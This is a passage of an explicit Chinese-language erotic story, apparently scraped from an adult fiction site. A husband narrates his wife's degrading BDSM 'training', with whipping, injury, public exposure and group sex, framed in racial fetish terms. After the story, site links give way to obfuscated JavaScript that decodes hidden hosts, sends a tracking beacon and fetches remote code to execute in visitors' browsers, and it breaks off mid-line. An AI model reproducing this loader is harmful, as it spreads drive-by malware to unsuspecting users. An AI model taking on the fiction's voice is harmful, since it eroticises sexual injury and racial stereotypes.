等我妻子用她的手、嘴唇、舌头以及脸颊、乳房和身体的任何部位摩擦、爱 抚过他的鸡巴,将他的性欲彻底激发出来后,邓就开始用他那暴涨的粗大鸡巴肏 弄我妻子的嘴。每次,他都要将那根像驴鸡巴一般粗长的鸡巴深深地插进我妻子 的嘴里,然后凶猛地抽插,直达喉咙。

邓这样残暴地口交方式,常常让我妻子窒息,每次当他把鸡巴抽离她的嘴巴 时,她都止不住地呕吐,然后,还没等我妻子稍有喘息,邓的大鸡巴便又一次深 深地插进她的喉咙里。如此循环往复,邓在我妻子的干呕中和口舌的刺激下,最 后或者把精液射进我妻子的喉咙里,或者把精液涂抹在我妻子的脸颊和乳房上, 然后再让我妻子把他的鸡巴清理干净,一次性奴训练才算告一段落。

可是,邓的性欲并没有完全释放,他对我妻子的调教也不可能就这样结束。

这个身体强壮、性欲极其旺盛的人间恶魔,在他那根又粗又大又长的黑鸡巴 还没有完全软掉之前,就又开始对我妻子进行新一轮的调教和折磨。

他那黑如焦碳、大如熊掌的大手在我妻子白皙娇嫩的身体上粗暴地揉捏着, 我妻子的乳房上、大腿上、嫩足上、肥臀上和柔弱的肩背上到处是被他掐弄搓揉 出的红印子。玩弄了一会,邓让我妻子转过身体,跪在地上,像狗一样四肢爬伏 着,两条腿张得大大的,把她的嫩生生的白屁股撅在邓的面前。

邓跪在我妻子的身后,用手分开她的两瓣屁股,然后用大龟头磨蹭着她的阴 唇,接着慢慢向前推进,同时双手一直在抚摩着我妻子的屁股和阴户。我知道他 是在刺激和挑逗我妻子的性欲,让她的阴道里充满淫液以便于他的奸淫。我看到 邓的鸡巴在慢慢的加强力度,不断地向我妻子的阴道深出插入。

妈的!邓的鸡巴实在太长了,他那二十厘米长的大鸡巴已经插进了大部分, 但是仍然有一大截露在外面。我听别人说,女人阴道的长度一般是十厘米,而像 我妻子这样娇小的女人,阴道的长度应该不到十厘米吧。

邓的鸡巴仍然在继续向我妻子的阴道里插,对于这样粗大的鸡巴来说,我妻 子的阴道实在是太小了,所以,随着他的挺进,我妻子阴道口的嫩肉被带得陷进 去,阴唇也跟着向中间集中,紧紧地包裹着邓的大鸡巴。

邓的鸡巴终于尽根插进了我妻子的阴道里,他的阴囊贴在她的阴蒂上,刺激 得我妻子浑身一抖。我惊诧我妻子的阴道怎么可以容纳下邓全部的茎体,难道是 他的龟头已经插进我妻子的子宫了吗?如果是那样,我妻子岂不是被这个可恶的 黑家伙给肏透了吗?

可是我妻子好像并不担心她的身体,在邓缓缓的抽插之间,凯伊阴道里的淫 水被不断地抽出,顺着她的大腿和邓的鸡巴流到地上。显然,他们俩很享受这样 的做爱,我妻子开始轻声地呻吟,身体也随着邓的动作前后主动晃动着,似乎在 鼓励邓猛烈一点地插她。

这时,邓的抽插力度显然是加快了,他那垂掉得很长的阴囊前后甩动着,啪 啪地抽打着我妻子非常敏感的阴蒂。凯伊的神情开始迷离,呻吟声越来越大,我 知道她就要高潮了。

终于,邓闷声嚎叫了一声,猛烈抽插的动作在嚎叫声中戛然而止,他的小腹 紧紧抵在我妻子的屁股上,身体不停地抖动、抽搐,把大股的精液尽数射进凯伊 的子宫里。邓的阴茎一抽离我妻子的身体,凯伊立刻就瘫倒在地板上,嘴里大口 喘息出气,浊白的精液从她的阴道里潺潺流出。

我知道现在该我上了,不过,你们大家不要误会,可不是该我上去享受我妻 子的肉体,而是该我上去为他们服务了。在整个周末,邓和凯伊都不允许我享受 我妻子的身体,凯伊希望在整个周末的两天两夜时间里,她是完全属于邓和他那 些黑人朋友们的,她不喜欢我的精液污秽了她的身体,她希望自己对她的性主人 和主人的朋友是纯洁和忠实的。我所能做的,就是精心为他们服务。

我端来饮料和点心,递给邓一条干净柔软的毛巾,让他擦擦因为大力奸淫我 妻子而出的满头汗水,接着,我来到我妻子面前,用热唿唿的柔软毛巾轻轻擦拭 她那红肿污秽的阴户和屁股,凯伊的阴道口被撕裂了一点,上面有点点血丝,我 一擦,她的身体都疼得抖动一下。

凯伊拉住我的手,示意我用口舌为她清理阴户。

我看着她那粘满邓精液的阴户,感觉有些为难。这倒不是因为我嫌别的男人 的精液肮脏,而主要是因为在邓面前这样做,我多少有点觉得尴尬。这时,凯伊 拽住我的头发向她的阴部拉,我也只好顺势把嘴唇贴在了她的阴唇上。

经过我一番精心的清理,我妻子慢慢地从性欲高潮中缓过神来,她的阴户也 被我舔擦干净,经过热敷的阴唇颜色鲜红,由于我的口舌刺激,一滴滴清亮的淫 液又从她那鲜红的肉缝中渗了出来,散发着诱人气息。

邓很满意我的工作,他让我妻子始终保持着两腿分开的姿势,让她那迷人的 阴户完全暴露在他的面前。凯伊或者依偎在邓的怀里,或者坐在邓的大腿上,他 们不停地亲吻着,一边喝着我端给他们的葡萄酒,一边回味着刚才做爱的幸福感 觉。

虽然是在休息,但邓从来没有停止玩弄我妻子的身体。他抱着她的身体,一 会儿掐弄她的乳头,一会儿又指奸她的阴道和肛门,而凯伊总是被他玩弄得娇喘 连连,呻吟不止。

在我们的婚姻生活中,我妻子从来也没有受到过如此强烈和持续不断的性刺 激,所以她一直处在高度亢奋的情绪当中,她完全忘记了屈辱、忘记了疼痛、忘 记了作为人妻的任何道德羁绊,忘记了时间和空间,一心一意地享受着邓的大鸡 巴带给她的刺激和高潮,心甘情愿地接受着邓的玩弄和调教。

这时,邓已经把我妻子的双手紧紧地捆了起来,然后把她拉起来,把捆着的 双手拉过她的头顶,固定在天花板上的一个钩子上。我妻子娇小白皙的身体把拉 直,只有娇嫩的脚尖挨在地上。

我想,她的手和脚一定都很疼,我有点心疼她,想告诉邓不要这样玩弄我的 妻子;但是,还没有等我说这样的话,凯伊就使劲朝我摇了摇头,然后对邓媚笑 着,让他狠狠地调教她、玩弄她。

邓当然不会对我妻子心慈手软,他毫不理会我担心的神情和乞求的目光,更 不会怜悯我妻子刚刚被他肏弄得渗出血丝的阴户和肛门,又把他那粗大坚硬的手 指头狠狠地插进了我妻子的阴道里,一根、两根、三根……他把四根手指插进了 她的阴道,然后开始大力地前后抽动,同时大拇指还在我妻子的阴蒂上搓揉着。

过了一会儿,邓又用电动假阳具代替了他的手指,一波又一波的性高潮侵袭 着我妻子被悬吊着的身体,使她像跳摇摆舞一样,赤裸的身体在前后左右无法控 制地摇摆着。

接着,邓拿来乳头夹夹在我妻子那两个充血挺立的鲜红乳头上,尖利的乳头 夹刺进了凯伊皮肤,也刺激了她的性欲,她立刻尖叫起来,呻吟声中充满淫欲。

邓没有给她丝毫的喘息时间,他手握用天鹅绒布条编成的鞭子(据说,这样 材质的鞭子比较沉重,但表面柔软,不会打伤皮肤,但很有力量,会让被鞭挞者 感受到疼痛和刺激),狠狠地抽打我妻子的乳房、小腹、阴户和屁股。

我妻子被悬吊着的身体被抽打得像陀螺一样左右转动,她的脚趾在木地板上 摩擦着,发出“吱吱”令人揪心的声音,我真害怕她的脚趾会被扭断了。

这时,邓放下鞭子,把我妻子的两只脚从地上拉起来,但是,他并不是担心 她的脚趾会扭断,而是要更残酷地折磨我的娇妻。他把我妻子的两脚向背后方向 拉,然后用绳子捆住她的两脚,使劲向两边分开,再把绳子拉到天花板上。

这样,我妻子的身体整个被吊了起来,身体反弓,像一个大写的c,而两条 腿又被大大地分开,真真写成了一个大大的“穴”字。邓把插在我妻子阴道里还 在嗡嗡震动的假阴茎又使劲朝里按了按,然后再次挥起鞭子,使劲抽打我妻子那 大大敞开的阴户和肛门。

鞭子一下下地抽打,每一次落下都引起我妻子的一声尖叫,每一次抬起都带 起来一缕淫液。

随着鞭子的挥舞,凯伊在痛苦中不断冲击性欲的顶峰;在妻子的尖叫声中, 我的心随着被鞭稍带起、又滴落在我脸上的我妻子的淫液而上下起伏。

我为凯伊能享受和经历这样的性高潮而感到自豪,我为能拥有这样美丽性感 的女人而骄傲。在邓的暴虐中,我发现我的妻子是这样的美丽,而这样的美丽是 她从未有过的。

鞭打、奸淫、羞辱、折磨……凯伊经历了普通女人不敢想象的性虐待,也体 验了普通女人从未体验过的性高潮。鞭打中,邓的大鸡巴又一次插进了凯伊的阴 道和肛门;虐待中,邓又一次把精液射进了凯伊的喉咙……

终于,邓累了,他再也玩不动我妻子了,他让我把妻子从天花板上放下来。

我妻子被鞭打和性高潮折磨得无法站立,她被解开绳索后直接躺在了地下, 蠕动着身体,轻声地呻吟着。

邓还不想放过她,他骑在凯伊的头上,肥大的黑屁股整个坐在凯伊的脸上, 命令凯伊舔他的肛门;可是,凯伊已经没有力气再执行他的命令了,邓很生气, 站起来朝凯伊的头上撒了泡尿,就离开了房间。

看到邓离开了房间,我赶紧跑过去从地下扶起我妻子,把她搀扶到浴室去清 洗她的身体。我先在浴盆里放满热水,然后抱着妻子慢慢地把她放进去,慢慢地 抽出一直插在她阴道里的电动阴茎。

长时间的奸淫和虐待让我妻子非常疲惫,她静静地躺在浴盆里,像一个孩子 似地让我清洗抚摩她的身体。她的乳房和阴户都已经被邓抽肿了,虽然皮肤上痕 迹不明显,但她皮下的肉体显然是受伤不轻,我的每一下清洗和抚摩都会让她感 觉到疼痛,她甚至会抓住我的手,呻吟着让我的动作轻一点。

刚刚好不容易为我妻子清洗完身体,邓就返回了房间,他要我把妻子重新打 扮起来。邓递给我一件白色透明的上衣,让我妻子穿上,但又不允许我妻子穿上 胸罩,这样她那红嫩翘起的乳头就在白色衣服下清晰可见了。

接着,邓又让我妻子穿上黑色的丝袜,下身是一条很短的黑色短裙,一双后 跟有五英寸高的黑色高根鞋也穿在我妻子的脚上,最后,邓又把那根电动假阴茎 再次插进了我妻子的阴道里。一切都准备好了,邓说要带我妻子出去游玩一番。

我开着车把他们送到街上一个人群熙攘的成人书籍和音像制品店,邓说他要 带我妻子进去,向大家展示一下她的风骚和性感。邓拉着我妻子的手下了车,带 着衣着非常暴露的凯伊走进了那个挤满了色狼和流氓的成人书籍和印象制品店。

我妻子感觉非常羞愧,满脸通红,不知所措,任由邓拉着他在人群中穿梭。

店里正在观看和挑选色情读物和影像的家伙们看见我妻子出现在他们中间, 立刻开始起哄。他们有的吹口哨、挤眼睛,有的对着我的妻子说着下流话、做着 猥亵的动作,更有甚者会在我妻子经过他们身边时,伸手掐弄我妻子的乳房和屁 股。

邓高兴地大笑,他伸手把我妻子的短群下摆拉起来,让大家看到我妻子阴道 里插着电动阴茎,那个巨大的东西一半在我妻子的阴道里,一半露在外面,我妻 子需要不时地用手握住它,以免它从阴道里掉出来。

人群看到我妻子的狼狈样,顿时爆发出淫荡、鼓噪的叫声,他们都在惊叹我 妻子的漂亮的阴户、美丽的阴毛和泛滥的淫水,他们都想立刻把我妻子压在身下 奸淫。

但是,一切都在邓的掌控之中,他大声吆喝着,推开想拥抱和猥亵我妻子的 手,然后,他把妻子带到一个高台上,一把扯下她的白色上衣,让她的整个上身 暴露出来,然后大声对围观的人说:“只许看,不许摸!!”

接着,他又把那条黑色短群拉到我妻子的腰上,让她那没有穿内裤的阴户和 屁股完全暴露在大家面前,邓叫着说:“你们大家看看,谁见过这么风骚、淫荡 的女人?你们看看她的阴户,多么漂亮,多么迷人啊!!”

(5)

经过几个周末的高强度调教、奸淫和奴性训练,凯伊的主人邓觉得我的妻子 已经从心理到生理都已经做好了准备,可以进行下一阶段的调教了。下一阶段, 邓计划把凯伊调教成毫无廉耻心、可以供黑种男人们任意玩弄的淫贱妓女。

又到了一个周末,我按照邓的指令,把凯伊送到邓的府上。在邓的家里,凯 伊在整个上午和下午的大部分时间内都被邓粗暴地奸淫着,几乎没有停止过。

等凯伊的主人爽够了以后,我把妻子抱到浴室,清理干净她那被邓的精液玷 污的身体,并按照邓的指令把妻子重新打扮起来。我为妻子穿上邓为她准备的、 非常暴露的轻薄衣服,她的乳头和阴户几乎是毫无遮挡地暴露在外面。然后,邓 抱着我的妻子在沙发上抚摩、玩弄,而我为他们端来葡萄酒和点心。

这时,门铃响了,邓要我去开门。因为穿得非常暴露,凯伊想离开客厅,躲 到卧室里去,但邓不许她离开。我打开门,看到一对白人夫妻站在门口。邓大声 招唿着他们进来,并向我们介绍说:“这是我的朋友布赖恩和他的妻子基姆。”

布赖恩夫妻都是三十多岁年纪,相貌很漂亮,身材也很好,基姆的体形甚至 比凯伊更性感,胸部看起来也比凯伊的要大很多。

基姆一进屋,立刻朝邓走过去,和他紧紧拥抱,并相互亲吻着对方的嘴唇, 吸吮对方的舌头。接着,邓让基姆跪在他的面前,说道:“你该知道你要做什么 吧?”

基姆跪在邓的面前,伸手将邓的浴袍掀开,在浴袍下面邓并没有穿内裤,所 以他那根粗大的黑鸡巴立刻暴露在基姆的脸前。基姆没有犹豫,立刻将邓的鸡巴 含进了嘴里,开始认真地舔弄、吸吮。邓一边享受着基姆的口舌服务,一边对凯 伊和我说:“你们知道吗?基姆也是我调教出来的贱货,她做我的性奴已经有很 长时间了。”

就在基姆为邓做着深喉口交的时候,我看到她的丈夫布赖恩一边贪婪地看着 他妻子用猩红的小嘴舔吃着邓的大黑鸡巴,一边用手隔着裤子搓揉着自己已经凸 起的鸡巴,脸上呈现出享受和满足的表情;同时他还不断偷眼瞧着凯伊的身体。

我想这小子一定看见我妻子的乳房和阴户了。

这时,邓还在舒服地享受着基姆的口舌服务。他已经躺在了沙发上,两条粗 黑的腿抬到了胸部,整个毛茸茸、黑乎乎的阴部全部暴露在基姆的面前。基姆一 边用嘴和舌头舔吃着邓的鸡巴、阴囊和肛门,一边用手抚摩着邓的屁股、大腿和 小腹。

基姆的动作非常熟练,舔弄的力度和角度也很到位,只见她先用舌头轻轻舔 弄、挑逗邓的龟头,再把舌尖探进邓的马眼里轻搅,然后,她将邓的阴茎整个深 深地含进嘴里,同时用舌头在茎体上来回舔着;接着,她的头快速上下移动,让 邓的阴茎象抽插阴道那样在她的嘴里肏弄;然后,她吐出沾满她口水的阴茎,伸 出舌头顺着茎体从龟头一路向下,一直舔到睾丸,再阴囊上舔弄一会儿,再把睾 丸吸进嘴里用舌头搓揉;然后,继续向下,舌头终于舔到了邓污秽的肛门上,舌 尖左右画了几圈后,便径直插进了邓的臭屁眼里,在那里面做起了活塞运动。

终于,邓享受够了基姆的口舌服务,他要基姆停下来,脱光自己的衣服,然 后躺在床上。在那张床上,我的妻子刚刚被邓奸淫了几乎一整天。基姆躺好,张 开大腿,让阴户完全暴露出来。

在这段时间里,邓把我妻子的双手用绳子绑起来,再挂在天花板的铁钩上, 我妻子双手被被吊过头顶,被吊着固定在那个地方无法动弹。邓对凯伊说:“现 在你好好看着,看着基姆怎样接受主人的调教,怎样做一个合格的性奴隶,怎样 成为一个淫贱的妓女。”

说完,邓拿起那天抽打我妻子的鞭子,走到四仰八叉躺在床上的基姆面前, 挥起鞭子使劲抽打她的乳房和阴户。接着,他把那根巨大的电动假鸡巴插进基姆 的阴道,又在她的乳房上夹上乳头夹,然后继续猛烈抽打她的身体。

在邓的虐待下,基姆不断地呻吟,身体在床上颤动和翻滚。电动阴茎在基姆 的阴道中肆虐着,基姆的淫水把床单都弄湿了。

在邓暴虐的鞭挞和假阴茎震动的刺激下,基姆的性高潮一波又一波,她放肆 地呻吟着,用手握住插在她阴道中的电动阴茎,不断地拔出、插入,她在用那根 假鸡巴奸淫自己,她也在用这样手淫的方式取悦她的性主人邓。

我妻子被吊在那里,无奈且无助地看着眼前淫荡弥的场景,她也想搓揉她的 阴蒂,她也想让那鸡巴狠狠地插入她的身体,以缓解她被激发的性欲渴望。

这时,邓让布赖恩把他制作的一个可以撑开女人双腿的长棒绑在凯伊的脚踝 上,把我妻子的腿向两边大大的分开,然后,邓从基姆的阴道中抽出那根沾满了 淫水的电动鸡巴,插进我妻子的肛门里,同时调大开关,让那根假鸡巴凶猛地肏 着我妻子的肛门。

回到基姆身边,邓把他那早已经坚硬如铁的鸡巴插进基姆你阴道里,然后开 始前后抽插。就这样,邓当着凯伊、布赖恩和我的面,毫无顾忌地奸淫着布赖恩 的妻子。

基姆身高只有大约1﹒60米,在身高1﹒97米的邓的身子下面,就像一 个可怜的小芭比娃娃,似乎承受不了这样一个高大魁梧的男人的蹂躏。但是,基 姆娇小的身体和她那娇嫩的阴道显然已经受过十分艰苦的训练,已经完全可以适 应邓的二十厘米长的鸡巴的插入。

邓快速而有力地在基姆身体上做活塞运动,粗大坚硬的鸡巴肏得基姆娇喘连 连,呻吟声由小到大,由弱到强,随着邓的深入,基姆的高潮便一波波侵袭着她 的身体。邓一边奸淫着基姆,一边吩咐布赖恩帮助凯伊做好准备,等着他来调教 和奸淫。

布赖恩此时正坐在旁边的椅子上,聚精会神地观看邓奸淫他的妻子基姆,还 时不时地偷眼瞟一下被绳索拉着半吊在天花板上的凯伊的身体,视奸着我妻子那 几乎全裸的肉体。听到邓的指令,他站起身来,走到我妻子面前,扯掉我妻子的 上衣,两手握着凯伊的乳房,开始大力搓揉起来。凯伊被他刺激得身体颤抖、脑 袋后仰,大声的呻吟起来。

接着,布赖恩又扯掉凯伊的短裙,一只手狠狠地掐着凯伊的乳头,另一只手 伸到下面,用指头奸淫着凯伊的阴道。凯伊的肛门仍然插着假鸡巴,再被布赖恩 这样折磨,顿时攀上了性欲高峰,她的高潮到了,淫水从阴道里大量涌出。

布赖恩抽出沾满凯伊淫水的手指,放到她的嘴里让她舔吃,一边羞辱她道: “看看你是多么的淫荡!你真是个下贱的婊子!越被折磨你越兴奋,真是个天生 的贱货!!”

说着,布赖恩重新把手指插回到凯伊潮湿的阴道里,大力地抠挖着;同时, 他的另一只手握住插在凯伊肛门里的假阴茎,猛地抽出,在猛地插进去,不断地 刺激着凯伊,为接下来邓的奸淫做着准备。

接着,布赖恩走到旁边的桌子边上,从放在桌子上的一个罐子里挖出一坨凡 士林,涂抹在他的两手上,然后他走回到凯伊一身边,跪下身来,让他的脸正好 与她的阴户部位齐平。布赖恩抬起头,看着凯伊的眼睛问道:“你想不想让我肏 你那被黑色大鸡巴开发过的阴道啊?”

凯伊立刻呻吟起来,从心底──不,应该说是从灵魂深处发出一个声音:

“yes──”

布赖恩开始用手背拍打凯伊那已经被邓的大鸡巴扩张得很大的阴道,发出了 “砰砰”的回声。凯伊将自己的阴部向前撅,以便更好地迎接布赖恩的拍打。她 的阴唇和阴蒂因布赖恩的拍打而充血,变得肿胀突起,敏感阴蒂因为突起而接受 到更多、更强烈的刺激,使凯伊又一次感受到了强烈的高潮侵袭。

看着我妻子被布赖恩如此玩弄,我的阴茎不可遏制地向上举起,将我的裤子 顶起一个大包,弄得我非常难堪。看着凯伊被同样做了绿帽老公的男人污辱,想 着布赖恩在玩弄别人老婆的时候,他的妻子也在被另一个男人玩弄,我心中涌起 非常复杂的感觉。我希望布赖恩更随意地玩弄我的妻子,因为这样会让我觉得凯 伊更加的下贱和淫荡。我喜欢凯伊真正成为人尽可夫的下贱婊子。

布赖恩仿佛听见了我的心声,他更加放肆地玩弄着我的妻子。他拉起绑在凯 伊脚踝上将她的两腿撑开的长棒,让我妻子的阴户向上暴露在他的脸前,然后, 他把两根手指插进凯伊淫水泛滥的阴道中,开始来回地抽插。接着,他又插进去 一根手指,然后是第四根手指,就这样,布赖恩把他的整个手掌都插进了我妻子 的阴道里。

凯伊似乎很享受布赖恩的玩弄,她尽量抬起自己的屁股,把阴户勇敢地套向 布赖恩的手,似乎想把他的整个手臂都吸进她的肚子里。在这个过程中,凯伊一 直沉浸在性欲高潮中,她抖动着身体,不断地呻吟着。我发现,由于布赖恩把整 个手掌都插进了凯伊的阴道里,所以他每次抽插,他的大拇指都会碰到凯伊的g 点,这让凯伊更加兴奋。

就在这时,邓已经肏够了基姆,他没有射精,因为他还要肏凯伊呢。邓从基 姆的身体里抽出仍然坚硬的鸡巴,来到凯伊的身后,他让布赖恩继续用手奸淫凯 伊的阴道,而他自己则一手握着沾满基姆淫水的大黑鸡巴,一手抽出插在凯伊肛 门里的假鸡巴,一使劲把自己的真鸡巴插进了凯伊的肛门里,随后就开始猛烈的 抽动。

被前后两个男人夹击着,凯伊真是爽到了顶。只见她痉挛着、哀叫着,嘴里 喃喃着,含煳不清地叫着:“fuckme,fuckme……”而在她前后的 两个男人也在不停地肏动中,不断地叫着:“fuckyou!fuckyou bitch!……”

过了一会儿,两个男人把凯伊从绳子上解下来,把她抬到基姆刚才躺着挨肏 的床上,然后邓像一台巨大的打桩机那样,把我妻子压在身下,他从上面向下猛 砸,他那又粗又长的黑鸡巴凶猛地在凯伊的阴道里、肛门里来回反复地戳弄,似 乎要把我妻子的身体打通。

凯伊这时好像已经被肏得失去了知觉,她不再呻吟,只是随着邓上下起落的 动作,前后蠕动着她那伤痕累累的身体。真是个惊心动魄的画面,邓就像是一辆 巨大沉重的坦克,就要碾碎躺在他身下、如同小布娃娃一样弱小的我的妻子。

……

周末的调教终于结束了。邓很满意两个女性奴的表现,也大大赞扬了我和布 赖恩,他说:“如果没有你们无私的奉献和积极的参与,我们的调教是不会取得 这样令人满意的成果的。”然后,邓提议我们一起出去吃晚饭,他请客。

我和布赖恩忙着清理各自妻子的身体,再按照邓的要求给她们穿上非常暴露 的衣服,然后,我们一起来到离邓家不远的一个饭店。邓住在黑人聚集区,那个 饭店也是由黑人经营的,所以,饭店的老板和招待都是黑人,来吃饭的客人也几 乎都是黑人。

来到饭店,邓找了一个居中的大餐桌,我们一起坐下。邓坐在凯伊和基姆中 间,我和布赖恩坐在他们对面。刚一坐下,凯伊和基姆的表情就显得很怪异,原 来是邓把他粗大的黑手指已经迫不及待地分别插进了她们俩的阴道里。凯伊和基 姆都没有穿内裤,短小的裙子在她们坐下后已经无法遮住她们肥大白皙的屁股。

在这个拥挤的餐馆里,凯伊和基姆暴露着阴户,大张着两腿,不但被她们的 性主人指奸着,而且被餐馆男招待和就餐的客人们视奸着。

吃完饭,我们重新回到邓的家里。邓让两个女人再次把衣服脱光,然后阴户 相对地躺到床上,邓拿起一个粗大的双头假阴茎,把两端分别插进凯伊和基姆的 阴道里,然后让她们自己前后运动,使插在她们阴道里的假阴茎开始抽动起来。

接着,邓让我搓揉、抚摩基姆的乳房和阴蒂,让布赖恩去挑逗、玩弄凯伊的 身体。

过了一会儿,邓把那个双头假鸡巴从她们的阴道中拿掉,让她们并肩跪在床 上,让我和布赖恩分别站在基姆和凯伊的身后肏对方的妻子,而他则站在她们的 脸前,用自己的黑鸡巴轮流肏着凯伊和基姆的嘴。

屋里的场景实在太淫荡了。两个白人丈夫在妻子性主人的命令下并肩作战, 拼尽全力使劲地肏着对方的妻子;而那两个可怜的女人,嘴里含着主人的肉棒, 阴道里插着对方丈夫的鸡巴,身体前后晃动,无助地忍受着三个男人的奸淫。

很快,三个男人都达到了性欲的顶点,我们一起嚎叫起来,我和布赖恩把已 经忍耐了两天的精液一起射进了对方妻子的身体里,而邓则抡起他的大黑鸡巴, 像机关枪扫射一样,把精液喷在两个女人的脸上……

我永远也不会忘记这样淫荡、刺激、美丽的场景!

(6)

那个周日,我们很晚才从凯伊的性主人──邓那里返回家中。凯伊和我都累 坏了,到家后没有耽搁,立刻就上床睡觉了。

第二天清晨,我被凯伊的呻吟声吵醒,一看时间,已经八点半了。糟糕,上 班要迟到了。正当我手忙脚乱地起床穿衣服的时候,我才发现凯伊好像情况不太 好。

原来,周末持续、激烈的性交和邓的调教、虐待,让凯伊的身体吃不消了, 她的手腕、脚趾、乳房、阴户和屁股都肿了,已经无法坚持去上班了。没办法, 我只好打电话给她和我都请了假,她在家休养,我在家照顾她。

我们一起在家休养了两天,凯伊的身体终于又恢复了以往的活力,真是谢天 谢地!不过,女人的身体也真是柔软,竟然可以经受得住那么粗暴的折磨。想到 以后还不知道有什么样的调教和虐待,我想劝凯伊放弃这个游戏。

我对凯伊说:“亲爱的,这两天我在家好好想了想,我想,也许我们该结束 这个游戏了,因为我不希望你的身体受到伤害,我们是否不再去找邓了呢?”

凯伊看着我,伸手拍了拍我的脸,说道:“亲爱的,你担心了?不要担心, 我们的游戏才刚刚开始呢,我真想看看下来还有什么新奇的东西。”

“可是……我很担心你的身体,我想我们应该回到原来的生活中去……”

“不啊,你怎么会这么想?你觉得我们还能回到


上一篇:交换女儿4续一看女儿上舞蹈班

下一篇:今晚夜未眠


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new 